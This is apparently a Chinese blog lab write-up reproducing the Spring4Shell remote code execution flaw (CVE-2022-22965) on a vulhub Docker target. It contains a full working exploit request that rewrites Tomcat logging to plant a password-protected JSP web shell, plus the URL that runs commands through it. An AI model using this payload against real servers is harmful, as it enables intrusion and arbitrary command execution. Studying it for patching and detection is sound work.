Spring Framework远程代码执行漏洞(CVE-2022-22965)


Spring Framework远程代码执行漏洞

漏洞简述

在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞。

现在已知的利用方法要求应用程序以WAR部署的形式在Tomcat上运行,然而,该漏洞的性质更为普遍,可能有其他方法可以利用它。

影响版本

Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本

环境搭建

cd /vulhub/spring/CVE-2022-22965
docker-compose up -d

漏洞复现

先打开http://192.168.3.151:8080/?name=test&age=18

image-20220508113603008

构造数据包修改目标的tomcat日志路径与后缀,写入JSP文件

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.3.151:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: JSESSIONID=52F637A45D1E8B58214F3D85E166A223
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

image-20220508141959161

可以执行任意命令

http://192.168.3.151:8080/tomcatwar.jsp?pwd=j&cmd=id

image-20220508142119920


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录